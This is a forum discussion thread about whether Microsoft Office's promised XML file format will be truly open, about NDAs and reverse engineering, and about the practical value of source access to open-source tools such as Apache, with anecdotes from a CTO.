How are Microsoft's "intentions" not relevant? By and large, all of Microsoft's attempts to lock the user into proprietary formats and protocols has been *intentional* and, I might add, fairly effective (see also Kerberos and CIFS)
There have been numerous reports that contradict your position.
Will the "save as XML" be default or not? You did not address this point.
You also claim that the XML-file format is protected by NDA. I have no idea how you can possibly claim that, or even think its possible. XML is plain text. Plain text. Its composed of plain, non-binary, ASCII or UNICODE text. Anyone with a text editor can open the document, anaylze the structure, and begin working with it. Are they suddenly going to make everyone with a text editor sign an NDA? Really, please explain your simply baffling claim.
Not sure what you are getting at. Whether something is in "plain ASCII/UNICODE text" or not has no bearing on anything regarding NDAs, patents, copyrights, trademarks, or any other type of restrictive IP I am aware of. Just because I am ABLE to reverse-engineer a format (it being ASCII only simplifying the task) does not make it legal for me to do so if I have signed an NDA.
Dismissing my claim as "simply baffling" certainly does not make *your* point any less coherent.
In practice, to run a successful production setup you're going to need to have your IT staff acquire expertise in the products used, open source or not. In most cases, except for extremely expensive software, this cost far outwieghs the license fees.
Certain vendors would have you believe their products are "fire and forget" and that because most point operations are UI based you can just hire anyone off the street to run them and send them for a two-week certification in mouse-holding at the local tech college, but the reality is quite different - a knowledgeable and skilled sysadmin is a rare find, and indispensable in running real services.
I am CTO at an ASP software provider; our production infrastructure runs our own code with a mixture of open and closed sourced tools. Rarely is it necessary for us to get in the hairy details, but when we do, in my experience the ultimate resort option of being able to look into the source and see what is going on outweighs the benefit of having a formal support contract, even if you never touch the code.
For example...
1. there was a long standing issue with Apache whereby mod_redirect had been designed to URLescape constant strings in the httpd.conf file used in its output; in my view this was a minor design oversight (if I wanted them URLescaped, and it didn't do it, I could always URLescape them myself, whereas because it did and I didn't, I was stuck) and a number of Apache bugDB entries were open against it. As someone with very rusty C skills (we use Java) and who had never touched Apache source before, it took me only a couple of hours to look into the code and see what was happening, make the one line change to remove the URLencode call, and recompile it. One happy camper. I wrote up an explanation for the Apache dev list, and the maintainer of the module added an option (ships from 1.3.20 on) to switch the auto-encoding off. Many happy campers.
2. (To be topical) We use Inktomi as our search engine, and in my 10+ years of experience with tech support from all kinds of vendors form PC builders to Cray Research, their support desk is pretty good. We had a problem with their crawler whereby it was getting tangled up in session id's in URLs vs session id's in cookies, and it was generating a lot of unnecessary duplicates before figuring out they were identical and pruning them. We called their support, who suggested we hook our own URL filtering code into an API they provide (the crawler is Python). This didn't fix the issue, and it quickly became apparent (without having source to examine) that the call-out to customer-supplied URL filter code only happens after it has fetched, indexed and de-duped all the pages, no help in this case. Merely *communicating* this difference took several emails, culminating in sending them a block diagram of how we had deduced the internals of their product worked, and arrowing the two points (where we needed the API, and where it was) and getting a developer on the phone. Ultimately, we resolved the problem by special-casing the URL generation in our own product to work around this limitation.
And I am still waiting for an option in MS-Word to NOT repaginate when changing between a B/W and colour printer with the same paper size
I have also been in situations where I have had the benefit of access to the source code for a commercial product which was otherwise nominally closed source, and the extra flexibility is a great benefit when resolving complex issues; on more than one occasion got on the phone with the vendor, exchanged ideas, made a quick fix and rebuilt the binary so work could proceed, and let them send us a tidy / proper fix in the fullness of time.
In short, if you have an open source product with a vibrant community around it, you have several more options than with a closed product. I would not advocate using open source code from a project that has withered on the vine for mission critical work, just like I wouldn't recommend using a commercial product that has been end-of-lifed. However, if you ARE prepared to take over maintaining the code base as an in-house product you always have that option with open source; with closed source it's extremely rare to get the chance (though I have taken over a commercial source base once before).
I'll make you a different wager - either (a) the so-called XML format will be so in name only, (e.g. a bunch of attributes will be Office COM objects serialised in base64, or undefined enumeration types) or (b) it will never happen, and they'll go on using .doc and .xls (modified of course to be incomaptible with Office XP to force upgrades on everyone who gets Office files by email), or (c) they'll do something funky to produce a copyright-enforced monopoly on the format (e.g. Word only processes files digitally signed with an MS PKI key which is "copyrighted") c.f. the Sony PS/PS2 trick.
If MS produces an open or easily reverse-engineerable* format I'll eat my shorts.
* before the Americans jump, reverse engineering for the purposes of developing interoperable products (not just software) is not only legal but in fact a protected right in many developed countries, i.e. it can't be taken from you by a monopolist with an EULA even with your consent.